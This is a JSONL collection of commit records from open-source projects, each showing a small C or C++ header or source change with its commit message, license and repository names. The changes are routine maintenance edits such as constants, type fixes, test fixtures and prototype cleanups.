{"commit":"178c839c82e248bd8c8187ad1a57d05137449eb3","old_file":"constants.h","new_file":"constants.h","old_contents":"#ifndef CONSTANTS_INCLUDED\n#define WORDLENGTH 11\n#define NUMWORDS 65536\n#define WORDFILE \"words.txt\"\n#define HEX_CHUNK_LENGTH 4\n#define CONSTANTS_INCLUDED\n#endif\n","new_contents":"#ifndef CONSTANTS_INCLUDED\n#define WORDLENGTH 11\n#define NUMWORDS 65536\n#define WORDFILE \"words.txt\"\n#define HEX_CHUNK_LENGTH 4\n#define HEX_CHUNK_FORMAT \"%04X\"\n#define CONSTANTS_INCLUDED\n#endif\n","subject":"Add constant formatting string for creating hexadecimal chunks.","message":"Add constant formatting string for creating hexadecimal chunks.\n","lang":"C","license":"agpl-3.0","repos":"ryepdx\/keyphrase,ryepdx\/keyphrase"}
{"commit":"dfd1a6192961f88408a34c21c3ab82d144ebc2ee","old_file":"net.h","new_file":"net.h","old_contents":"#ifndef NET_H\n#define NET_H\n\ntypedef enum Command {GET_STATE = 'S',\n    SHOOT = 'F', GET_MAP = 'M', ERROR = 'E'} Command;\n\n#define PORTNUM 7979 \/* Port Number *\/\n#define MAXRCVLEN 128 \/* Maximal Length of Received Value *\/\n\n#endif \/* NET_H *\/\n","new_contents":"#ifndef NET_H\n#define NET_H\n\n\/*\n * command        args        reply\n *\n * GET_MAP        none        map_seed map_length map_height\n *\/\ntypedef enum Command {GET_STATE = 'S',\n    SHOOT = 'F', GET_MAP = 'M', ERROR = 'E'} Command;\n\n#define PORTNUM 7979 \/* Port Number *\/\n#define MAXRCVLEN 128 \/* Maximal Length of Received Value *\/\n\n#endif \/* NET_H *\/\n","subject":"Add documentation for GET_MAP command","message":"Add documentation for GET_MAP command\n","lang":"C","license":"mit","repos":"AwesomePatrol\/ncursed-tanks"}
{"commit":"a6d291f001b40c83d5b88bc648c61524c66240b4","old_file":"src\/Config.h","new_file":"src\/Config.h","old_contents":"#ifndef CTCONFIG_H\n#define CTCONFIG_H\n\n\/\/#define ENABLE_ASSERT_CHECKS\n\/\/#define CT_NODE_DEBUG\n\/\/#define ENABLE_INTEGRITY_CHECK\n\/\/#define ENABLE_COUNTERS\n\/\/#define ENABLE_PAGING\n\/\/#define SNAPPY_COMPRESSION\n\n#endif \/\/ CTCONFIG_H\n","new_contents":"#ifndef CTCONFIG_H\n#define CTCONFIG_H\n\n\/\/#define ENABLE_ASSERT_CHECKS\n\/\/#define CT_NODE_DEBUG\n\/\/#define ENABLE_INTEGRITY_CHECK\n\/\/#define ENABLE_COUNTERS\n\/\/#define ENABLE_PAGING\n#define ENABLE_COMPRESSION\n\/\/#define SNAPPY_COMPRESSION\n\n#endif \/\/ CTCONFIG_H\n","subject":"Add new option to enable\/disable compression","message":"Add new option to enable\/disable compression\n","lang":"C","license":"mit","repos":"sopwithcamel\/cbt,sopwithcamel\/cbt"}
{"commit":"9ffe537cb523373b72f463b7fecac840589db264","old_file":"hardware\/zpuino\/zpu20\/cores\/zpuino\/crt-c.c","new_file":"hardware\/zpuino\/zpu20\/cores\/zpuino\/crt-c.c","old_contents":"\nextern unsigned int __bss_start__,__bss_end__;\nextern unsigned int ___ctors, ___ctors_end;\nextern char __end__;\nstatic char *start_brk = &__end__;\n\nextern void _Z4loopv();\nextern void _Z5setupv();\n\nvoid ___clear_bss()\n{\n\tunsigned int *ptr =  &__bss_start__;\n\twhile (ptr!=&__bss_end__) {\n\t\t*ptr = 0;\n\t\tptr++;\n\t}\n}\n\nvoid ___do_global_ctors()\n{\n\tunsigned int *ptr = &___ctors;\n\twhile (ptr!=&___ctors_end) {\n\t\t((void(*)(void))(*ptr))();\n\t\tptr++;\n\t}\n}\n\nvoid __cxa_pure_virtual()\n{\n\t\/\/ Abort here.\n}\n\nvoid exit(){\n}\n\n#ifndef NOMAIN\nint main(int argc, char **argv)\n{\n\t_Z5setupv();\n\twhile (1) {\n\t\t_Z4loopv();\n\t}\n}\n#endif\n\nvoid __attribute__((noreturn)) _premain(void)\n{\n\t___clear_bss();\n\t___do_global_ctors();\n\tmain(0,0);\n\twhile(1);\n}\n\nvoid *sbrk(int inc)\n{\n\tstart_brk+=inc;\n\treturn start_brk;\n}\n","new_contents":"\nextern unsigned int __bss_start__,__bss_end__;\nextern unsigned int ___ctors, ___ctors_end;\nextern char __end__;\nstatic char *start_brk = &__end__;\n\nextern void _Z4loopv();\nextern void _Z5setupv();\n\nvoid ___clear_bss()\n{\n\tunsigned int *ptr =  &__bss_start__;\n\twhile (ptr!=&__bss_end__) {\n\t\t*ptr = 0;\n\t\tptr++;\n\t}\n}\n\nvoid ___do_global_ctors()\n{\n\tunsigned int *ptr = &___ctors;\n\twhile (ptr!=&___ctors_end) {\n\t\t((void(*)(void))(*ptr))();\n\t\tptr++;\n\t}\n}\n\nvoid __cxa_pure_virtual()\n{\n\t\/\/ Abort here.\n}\n\nvoid exit(){\n}\n\n#ifndef NOMAIN\nint main(int argc, char **argv)\n{\n\t_Z5setupv();\n\twhile (1) {\n\t\t_Z4loopv();\n\t}\n}\n#endif\n\nvoid __attribute__((noreturn)) _premain(void)\n{\n#ifndef NOCLEARBSS\n    ___clear_bss();\n#endif\n\t___do_global_ctors();\n\tmain(0,0);\n\twhile(1);\n}\n\nvoid *sbrk(int inc)\n{\n\tstart_brk+=inc;\n\treturn start_brk;\n}\n","subject":"Add conditional for BSS cleanup","message":"Add conditional for BSS cleanup\n","lang":"C","license":"lgpl-2.1","repos":"rcook\/DesignLab,rcook\/DesignLab,rcook\/DesignLab,rcook\/DesignLab,rcook\/DesignLab,rcook\/DesignLab,rcook\/DesignLab"}
{"commit":"3fe765a96b95467327e9cc1cfcdabcdfea1d3818","old_file":"src\/parser.h","new_file":"src\/parser.h","old_contents":"#ifndef _PARSER_H_\n#define _PARSER_H_\n\n#include <Python.h>\n#include \"circular_buffer.h\"\n\ntypedef enum {\n    COMPLETE_DATA,\n    MISSING_DATA,\n    INVALID_DATA,\n    PARSE_FATAL_ERROR,\n} parse_result;\n\ntypedef enum {\n    PART_CHOOSER,\n    PART_SINGLE_SIZED,\n    PART_COUNT,\n    PART_INLINE,\n    PART_SIZE,\n    PART_PYSTRING,\n    PART_PYINT,\n    PART_ERROR,\n} part_type;\n\ntypedef enum {\n    TYPE_SINGLE_VALUE,\n    TYPE_LIST_OF_SINGLE_VALUES,\n    TYPE_LIST_OF_TUPLES\n} result_type;\n\ntypedef struct {\n    long parts_count, current_part, next_part_size;\n    part_type expected_type;\n    PyObject *result_root, *list;\n    int result_type;\n    Py_ssize_t list_length, list_filled;\n} parser_state;\n\nPyObject *parser_get_results();\n\nparse_result parser_parse_part(parser_state *s, circular_buffer *buffer);\nparse_result parser_parse_unit(parser_state *s, circular_buffer *buffer);\n\n#endif \/\/ _PARSER_H_\n","new_contents":"#ifndef _PARSER_H_\n#define _PARSER_H_\n\n#include <Python.h>\n#include \"circular_buffer.h\"\n\ntypedef enum {\n    COMPLETE_DATA,\n    MISSING_DATA,\n    INVALID_DATA,\n    PARSE_FATAL_ERROR,\n} parse_result;\n\ntypedef enum {\n    PART_CHOOSER,\n    PART_SINGLE_SIZED,\n    PART_COUNT,\n    PART_INLINE,\n    PART_SIZE,\n    PART_PYSTRING,\n    PART_PYINT,\n    PART_ERROR,\n} part_type;\n\ntypedef enum {\n    TYPE_SINGLE_VALUE,\n    TYPE_LIST_OF_SINGLE_VALUES,\n    TYPE_LIST_OF_TUPLES\n} result_type;\n\ntypedef struct {\n    long parts_count, current_part, next_part_size;\n    part_type expected_type;\n    PyObject *result_root, *list;\n    int result_type;\n    Py_ssize_t list_length, list_filled;\n} parser_state;\n\nPyObject *parser_get_results(void);\n\nparse_result parser_parse_part(parser_state *s, circular_buffer *buffer);\nparse_result parser_parse_unit(parser_state *s, circular_buffer *buffer);\n\n#endif \/\/ _PARSER_H_\n","subject":"Replace empty arguments definition with void for compatibility","message":"Replace empty arguments definition with void for compatibility\n","lang":"C","license":"mit","repos":"gviot\/nadis,gviot\/nadis,gviot\/nadis"}
{"commit":"0fc0754e655a0628c4b25da4fe2ddf261208deb3","old_file":"gio\/tests\/appinfo-test.c","new_file":"gio\/tests\/appinfo-test.c","old_contents":"#include <stdlib.h>\n#include <gio\/gio.h>\n\nint\nmain (int argc, char *argv[])\n{\n  const gchar *envvar;\n  gint pid_from_env;\n\n  envvar = g_getenv (\"GIO_LAUNCHED_DESKTOP_FILE_PID\");\n  g_assert (envvar != NULL);\n  pid_from_env = atoi (envvar);\n  g_assert_cmpint (pid_from_env, ==, getpid ());\n\n  envvar = g_getenv (\"GIO_LAUNCHED_DESKTOP_FILE\");\n  g_assert_cmpstr (envvar, ==, g_test_get_filename (G_TEST_DIST, \"appinfo-test.desktop\", NULL));\n\n  return 0;\n}\n\n","new_contents":"#include <stdlib.h>\n#include <gio\/gio.h>\n\nint\nmain (int argc, char *argv[])\n{\n  const gchar *envvar;\n\n  g_test_init (&argc, &argv, NULL);\n\n  envvar = g_getenv (\"GIO_LAUNCHED_DESKTOP_FILE\");\n  if (envvar != NULL)\n    {\n      gchar *expected;\n      gint pid_from_env;\n\n      expected = g_test_build_filename (G_TEST_DIST, \"appinfo-test.desktop\", NULL);\n      g_assert_cmpstr (envvar, ==, expected);\n      g_free (expected);\n\n      envvar = g_getenv (\"GIO_LAUNCHED_DESKTOP_FILE_PID\");\n      g_assert (envvar != NULL);\n      pid_from_env = atoi (envvar);\n      g_assert_cmpint (pid_from_env, ==, getpid ());\n    }\n\n  return 0;\n}\n\n","subject":"Fix up the appinfo test","message":"Fix up the appinfo test\n\nOne testcase was launching appinfo-test from a GAppInfo that\ndoes not have a filename. In this case, the G_LAUNCHED_DESKTOP_FILE\nenvvar is not exported. Make appinfo-test deal with that, without\nspewing warnings.\n\nhttps:\/\/bugzilla.gnome.org\/show_bug.cgi?id=711178\n","lang":"C","license":"lgpl-2.1","repos":"endlessm\/glib,mzabaluev\/glib,tamaskenez\/glib,cention-sany\/glib,gale320\/glib,lukasz-skalski\/glib,krichter722\/glib,endlessm\/glib,endlessm\/glib,ieei\/glib,gale320\/glib,ieei\/glib,tamaskenez\/glib,MathieuDuponchelle\/glib,tamaskenez\/glib,tchakabam\/glib,krichter722\/glib,mzabaluev\/glib,ieei\/glib,Distrotech\/glib,johne53\/MB3Glib,MathieuDuponchelle\/glib,tamaskenez\/glib,endlessm\/glib,lukasz-skalski\/glib,johne53\/MB3Glib,ieei\/glib,Distrotech\/glib,tchakabam\/glib,tchakabam\/glib,Distrotech\/glib,gale320\/glib,johne53\/MB3Glib,tamaskenez\/glib,ieei\/glib,cention-sany\/glib,Distrotech\/glib,MathieuDuponchelle\/glib,tchakabam\/glib,krichter722\/glib,MathieuDuponchelle\/glib,cention-sany\/glib,mzabaluev\/glib,krichter722\/glib,tchakabam\/glib,johne53\/MB3Glib,johne53\/MB3Glib,mzabaluev\/glib,lukasz-skalski\/glib,krichter722\/glib,endlessm\/glib,gale320\/glib,Distrotech\/glib,lukasz-skalski\/glib,cention-sany\/glib,MathieuDuponchelle\/glib,johne53\/MB3Glib,lukasz-skalski\/glib,mzabaluev\/glib,cention-sany\/glib,gale320\/glib"}
{"commit":"df5d139a828fbac2f919c7278163f12e0d4b01c7","old_file":"include\/inputeventdata.h","new_file":"include\/inputeventdata.h","old_contents":"\/*\n-----------------------------------------------------------------------------\n\nCopyright (c) 2010 Nigel Atkinson\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#ifndef INPUTEVENTDATA_H_INCLUDED\n#define INPUTEVENTDATA_H_INCLUDED\n\nstruct InputEventData : public EventData\n{\n    float x, y;\n    OIS::KeyCode key;\n    unsigned int parm;\n};\n\n#endif \/\/ INPUTEVENTDATA_H_INCLUDED\n","new_contents":"\/*\n-----------------------------------------------------------------------------\n\nCopyright (c) 2010 Nigel Atkinson\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n-----------------------------------------------------------------------------\n*\/\n#ifndef INPUTEVENTDATA_H_INCLUDED\n#define INPUTEVENTDATA_H_INCLUDED\n\nstruct InputEventData : public EventData\n{\n    short x, y;\n    OIS::KeyCode key;\n    unsigned int parm;\n};\n\n#endif \/\/ INPUTEVENTDATA_H_INCLUDED\n","subject":"Use a more suitable type for mouse co-ordinates.","message":"Use a more suitable type for mouse co-ordinates.\n","lang":"C","license":"mit","repos":"merlinblack\/Game-Engine-Testbed,merlinblack\/Game-Engine-Testbed,merlinblack\/Game-Engine-Testbed,merlinblack\/Game-Engine-Testbed"}
{"commit":"98b8a0eb22fbc4012f9c9ac0a793a4822822f208","old_file":"Sources\/MCKNetworkMock.h","new_file":"Sources\/MCKNetworkMock.h","old_contents":"\/\/\n\/\/  MCKNetworkMock.h\n\/\/  mocka\n\/\/\n\/\/  Created by Markus Gasser on 26.10.2013.\n\/\/  Copyright (c) 2013 konoma GmbH. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n@class MCKNetworkMock;\n@class MCKNetworkRequestMatcher;\n@class MCKMockingContext;\n\ntypedef MCKNetworkRequestMatcher*(^MCKNetworkActivity)(id url);\n\n\n@interface MCKNetworkMock : NSObject\n\n#pragma mark - Initialization\n\n- (instancetype)initWithMockingContext:(MCKMockingContext *)context;\n\n\n#pragma mark - Network Control\n\n@property (nonatomic, readonly, getter = isEnabled) BOOL enabled;\n\n- (void)disable;\n- (void)enable;\n- (void)startObservingNetworkCalls;\n\n\n#pragma mark - Stubbing and Verification DSL\n\n@property (nonatomic, readonly) MCKNetworkActivity GET;\n@property (nonatomic, readonly) MCKNetworkActivity PUT;\n@property (nonatomic, readonly) MCKNetworkActivity POST;\n@property (nonatomic, readonly) MCKNetworkActivity DELETE;\n\n@end\n\n\n#define MCKNetwork _mck_getNetworkMock(self, __FILE__, __LINE__)\n#ifndef MCK_DISABLE_NICE_SYNTAX\n    #define Network MCKNetwork\n#endif\nextern MCKNetworkMock* _mck_getNetworkMock(id testCase, const char *fileName, NSUInteger lineNumber);\n","new_contents":"\/\/\n\/\/  MCKNetworkMock.h\n\/\/  mocka\n\/\/\n\/\/  Created by Markus Gasser on 26.10.2013.\n\/\/  Copyright (c) 2013 konoma GmbH. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n@class MCKNetworkMock;\n@class MCKNetworkRequestMatcher;\n@class MCKMockingContext;\n\ntypedef MCKNetworkRequestMatcher*(^MCKNetworkActivity)(id url);\n\n\n@interface MCKNetworkMock : NSObject\n\n#pragma mark - Initialization\n\n- (instancetype)initWithMockingContext:(MCKMockingContext *)context;\n\n\n#pragma mark - Network Control\n\n@property (nonatomic, readonly, getter = isEnabled) BOOL enabled;\n\n- (void)disable;\n- (void)enable;\n- (void)startObservingNetworkCalls;\n\n\n#pragma mark - Stubbing and Verification DSL\n\n@property (nonatomic, readonly) MCKNetworkActivity GET;\n@property (nonatomic, readonly) MCKNetworkActivity PUT;\n@property (nonatomic, readonly) MCKNetworkActivity POST;\n@property (nonatomic, readonly) MCKNetworkActivity DELETE;\n\n@end\n\n\n#define MCKNetwork (id)_mck_getNetworkMock(self, __FILE__, __LINE__)\n#ifndef MCK_DISABLE_NICE_SYNTAX\n    #define Network MCKNetwork\n#endif\nextern MCKNetworkMock* _mck_getNetworkMock(id testCase, const char *fileName, NSUInteger lineNumber);\n","subject":"Make the network mock play nice with stubCall (…)","message":"Make the network mock play nice with stubCall (…)\n","lang":"C","license":"mit","repos":"frenetisch-applaudierend\/mocka,frenetisch-applaudierend\/mocka"}
{"commit":"a733a2ecfb267aa5e35b2b98d4baf7aefc0fecbe","old_file":"test\/test-common\/QuietCommandlineTest.h","new_file":"test\/test-common\/QuietCommandlineTest.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2015 Samsung Electronics Co., Ltd All Rights Reserved\n *\n *    Licensed under the Apache License, Version 2.0 (the \"License\");\n *    you may not use this file except in compliance with the License.\n *    You may obtain a copy of the License at\n *\n *        http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *    Unless required by applicable law or agreed to in writing, software\n *    distributed under the License is distributed on an \"AS IS\" BASIS,\n *    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *    See the License for the specific language governing permissions and\n *    limitations under the License.\n *\/\n\/**\n * @file        test\/test-common\/QuietCommandlineTest.h\n * @author      Pawel Wieczorek <p.wieczorek2@samsung.com>\n * @version     1.0\n * @brief       Fixture for tests of commandline parsers with no output to std::cout nor std::cerr\n *\/\n\n#ifndef TEST_TEST_COMMON_QUIETCOMMANDLINETEST_H_\n#define TEST_TEST_COMMON_QUIETCOMMANDLINETEST_H_\n\n#include <iostream>\n#include <memory>\n#include <sstream>\n#include <string>\n\n#include \"BaseCommandlineTest.h\"\n\nclass QuietCommandlineTest : public BaseCommandlineTest {\npublic:\n    void clearOutput(void) {\n        m_cerr.str(std::string());\n        m_cout.str(std::string());\n    }\n\n    void getOutput(std::string &out, std::string &err) const {\n        err = m_cerr.str();\n        out = m_cout.str();\n    }\n\nprotected:\n    virtual void SetUp(void) {\n        m_cerrBackup.reset(std::cerr.rdbuf());\n        std::cerr.rdbuf(m_cerr.rdbuf());\n\n        m_coutBackup.reset(std::cout.rdbuf());\n        std::cout.rdbuf(m_cout.rdbuf());\n    }\n\n    virtual void TearDown(void) {\n        destroy_argv();\n        std::cerr.rdbuf(m_cerrBackup.release());\n        std::cout.rdbuf(m_coutBackup.release());\n    }\n\n    std::unique_ptr<std::streambuf> m_cerrBackup;\n    std::unique_ptr<std::streambuf> m_coutBackup;\n    std::stringstream m_cerr;\n    std::stringstream m_cout;\n};\n\n#endif \/* TEST_TEST_COMMONS_QUIETCOMMANDLINETEST_H_ *\/\n","subject":"Add quiet fixture for commandline tests","message":"Add quiet fixture for commandline tests\n\nThis patch introduces fixture which suppresses printing output to\nstd::cout or std::cerr. Data is redirected to temporary buffers and\naccessible from there.\n\nChange-Id: Ia1b8b240be95d1d672a56cd9eaf6e13320bb375b\n","lang":"C","license":"apache-2.0","repos":"Samsung\/cynara,Samsung\/cynara,pohly\/cynara,pohly\/cynara,pohly\/cynara,Samsung\/cynara"}
{"commit":"54562ec9471222010cded42de16bc23286d873cd","old_file":"test\/CodeGen\/2008-01-04-WideBitfield.c","new_file":"test\/CodeGen\/2008-01-04-WideBitfield.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -o - %s\n\/\/ PR1386\ntypedef unsigned long uint64_t;\nstruct X {\n  unsigned char pad : 4;\n  uint64_t a : 64;\n} __attribute__((packed)) x;\n\nuint64_t f(void)\n{\n  return x.a;\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm -o - %s\n\/\/ PR1386\ntypedef unsigned long long uint64_t;\nstruct X {\n  unsigned char pad : 4;\n  uint64_t a : 64;\n} __attribute__((packed)) x;\n\nuint64_t f(void)\n{\n  return x.a;\n}\n","subject":"Use unsigned long long for uint64_t. Fixes part of the windows buildbot.","message":"Use unsigned long long for uint64_t. Fixes part of the windows buildbot.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@136160 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"00fa5d47e3900f290b1673ce99a899713c011300","old_file":"bandit\/reporters\/colored_reporter.h","new_file":"bandit\/reporters\/colored_reporter.h","old_contents":"#ifndef BANDIT_COLORED_REPORTER_H\n#define BANDIT_COLORED_REPORTER_H\n\n#include <ostream>\n#include <bandit\/reporters\/colorizer.h>\n#include <bandit\/reporters\/progress_reporter.h>\n\nnamespace bandit { namespace detail {\n\n  struct colored_reporter : public progress_reporter\n  {\n    colored_reporter(std::ostream& stm,\n        const failure_formatter& failure_formatter,\n        const colorizer& colorizer)\n      : progress_reporter(failure_formatter), stm_(stm), colorizer_(colorizer)\n    {}\n\n  protected:\n    std::ostream& stm_;\n    const detail::colorizer& colorizer_;\n  };\n\n}}\n\n#endif\n","new_contents":"#ifndef BANDIT_COLORED_REPORTER_H\n#define BANDIT_COLORED_REPORTER_H\n\n#include <ostream>\n#include <bandit\/reporters\/colorizer.h>\n#include <bandit\/reporters\/progress_reporter.h>\n\nnamespace bandit { namespace detail {\n\n  struct colored_reporter : public progress_reporter\n  {\n    colored_reporter(std::ostream& stm,\n        const failure_formatter& failure_formatter,\n        const colorizer& colorizer)\n      : progress_reporter(failure_formatter), stm_(stm), colorizer_(colorizer)\n    {}\n\n    virtual ~colored_reporter()\n    {\n      stm_ << colorizer_.reset();\n    }\n\n  protected:\n    std::ostream& stm_;\n    const detail::colorizer& colorizer_;\n  };\n\n}}\n\n#endif\n","subject":"Make sure the colorizer is reset","message":"Make sure the colorizer is reset\n\nThis is done using the colored_reporter destructor.\n\nThis should fix the part of #90, i.e., that colors are changed when the\ncode exits unexpectedly, or in case the reporter simply does not reset\nthe colorizer.\n","lang":"C","license":"mit","repos":"ogdf\/bandit,ogdf\/bandit,joakimkarlsson\/bandit,joakimkarlsson\/bandit,joakimkarlsson\/bandit"}
{"commit":"a66f471fe91dbfcf659762565185e6ba903210f0","old_file":"src\/os\/emscripten\/open.c","new_file":"src\/os\/emscripten\/open.c","old_contents":"#include \"os_common.h\"\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\nFILE *os_fopen(const char *path, const char *mode)\n{\n    FILE *f = NULL;\n\n    if (path[0] == '\/' && strncmp(path, \"\/dev\", 4)) {\n        \/\/ absolute path, needs to be construed relative to mountpoint\n        size_t need = 1 + snprintf(NULL, 0, MOUNT_POINT \"%s\", path);\n        char *buf = malloc(need);\n        snprintf(buf, need, MOUNT_POINT \"%s\", path);\n        f = fopen(buf, mode);\n        free(buf);\n    } else {\n        \/\/ either a relative path or a device path -- don't mangle path\n        \/\/ default behaviour, os_preamble() has already chdir()ed correctly\n        f = fopen(path, mode);\n    }\n\n    return f;\n}\n\n","new_contents":"#include \"os_common.h\"\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\nFILE *os_fopen(const char *path, const char *mode)\n{\n    FILE *f = NULL;\n\n    if (path[0] == '\/' && strncmp(path, \"\/dev\", 4)) {\n        \/\/ absolute path, needs to be construed relative to mountpoint\n        int need = 1 + snprintf(NULL, 0, MOUNT_POINT \"%s\", path);\n        char *buf = malloc((size_t)need);\n        snprintf(buf, (size_t)need, MOUNT_POINT \"%s\", path);\n        f = fopen(buf, mode);\n        free(buf);\n    } else {\n        \/\/ either a relative path or a device path -- don't mangle path\n        \/\/ default behaviour, os_preamble() has already chdir()ed correctly\n        f = fopen(path, mode);\n    }\n\n    return f;\n}\n\n","subject":"Address -Wsign-conversion in emscripten build","message":"Address -Wsign-conversion in emscripten build\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"25ac6c78271d734772ed59058b9d29b5c6b08ddf","old_file":"src\/compat\/posix\/include\/posix_errno.h","new_file":"src\/compat\/posix\/include\/posix_errno.h","old_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    25.06.2012\n *\/\n\n#ifndef COMPAT_POSIX_POSIX_ERRNO_H_\n#define COMPAT_POSIX_POSIX_ERRNO_H_\n\n#include <kernel\/task\/resource\/errno.h>\n\n#define errno (*task_self_resource_errno())\n\n#define SET_ERRNO(e) \\\n\t({ errno = e; -1; \/* to let 'return SET_ERRNO(...)' *\/ })\n\n#endif \/* COMPAT_POSIX_POSIX_ERRNO_H_ *\/\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    25.06.2012\n *\/\n\n#ifndef COMPAT_POSIX_POSIX_ERRNO_H_\n#define COMPAT_POSIX_POSIX_ERRNO_H_\n\n#include <kernel\/task\/resource\/errno.h>\n#include <compiler.h>\n\n#define errno (*task_self_resource_errno())\n\nstatic inline int SET_ERRNO(int err) {\n\terrno = err;\n\treturn -1;\n}\n\n#endif \/* COMPAT_POSIX_POSIX_ERRNO_H_ *\/\n","subject":"Change SET_ERRNO to be inline function","message":"Change SET_ERRNO to be inline function\n","lang":"C","license":"bsd-2-clause","repos":"mike2390\/embox,mike2390\/embox,Kefir0192\/embox,gzoom13\/embox,Kakadu\/embox,embox\/embox,Kakadu\/embox,gzoom13\/embox,Kakadu\/embox,Kefir0192\/embox,embox\/embox,Kefir0192\/embox,mike2390\/embox,Kefir0192\/embox,gzoom13\/embox,mike2390\/embox,Kakadu\/embox,embox\/embox,Kefir0192\/embox,gzoom13\/embox,mike2390\/embox,gzoom13\/embox,Kakadu\/embox,mike2390\/embox,Kakadu\/embox,Kefir0192\/embox,gzoom13\/embox,Kefir0192\/embox,mike2390\/embox,embox\/embox,Kakadu\/embox,embox\/embox,embox\/embox,gzoom13\/embox"}
{"commit":"5753352c3f560801c975cea7df03956833d3303f","old_file":"tardis\/montecarlo\/src\/io.h","new_file":"tardis\/montecarlo\/src\/io.h","old_contents":"#define _POSIX_C_SOURCE 1\n\n#include <unistd.h>\n#include <inttypes.h>\n#include <stdio.h>\n\n#define STATUS_FORMAT \"\\r\\033[2K\\t[%\" PRId64 \"%%] Packets(finished\/total): %\" PRId64 \"\/%\" PRId64\n#define STATUS_FORMAT_FI \"\\r\\033[2K\\t[%\" PRId64 \"%%] Rays(finished\/total): %\" PRId64 \"\/%\" PRId64\n\nstatic inline void\nprint_progress (const int64_t current, const int64_t total)\n{\n  if (isatty(fileno(stderr)))\n    {\n      fprintf(stderr, STATUS_FORMAT,\n              current * 100 \/ total,\n              current,\n              total);\n    }\n}\n\nstatic inline void\nprint_progress_fi (const int64_t current, const int64_t total)\n{\n  if (isatty(fileno(stderr)))\n    {\n      fprintf(stderr, STATUS_FORMAT_FI,\n              current * 100 \/ total,\n              current,\n              total);\n    }\n}\n","new_contents":"#define _POSIX_C_SOURCE 1\n\n#include <unistd.h>\n#include <inttypes.h>\n#include <stdio.h>\n\n#define STATUS_FORMAT \"\\r\\033[2K\\t[%\" PRId64 \"%%] Packets(finished\/total): %\" PRId64 \"\/%\" PRId64\n#define STATUS_FORMAT_FI \"\\r\\033[2K\\t[%\" PRId64 \"%%] Bins(finished\/total): %\" PRId64 \"\/%\" PRId64\n\nstatic inline void\nprint_progress (const int64_t current, const int64_t total)\n{\n  if (isatty(fileno(stderr)))\n    {\n      fprintf(stderr, STATUS_FORMAT,\n              current * 100 \/ total,\n              current,\n              total);\n    }\n}\n\nstatic inline void\nprint_progress_fi (const int64_t current, const int64_t total)\n{\n  if (isatty(fileno(stderr)))\n    {\n      fprintf(stderr, STATUS_FORMAT_FI,\n              current * 100 \/ total,\n              current,\n              total);\n    }\n}\n","subject":"Correct status printout for FI","message":"Correct status printout for FI\n","lang":"C","license":"bsd-3-clause","repos":"kaushik94\/tardis,kaushik94\/tardis,kaushik94\/tardis,kaushik94\/tardis"}
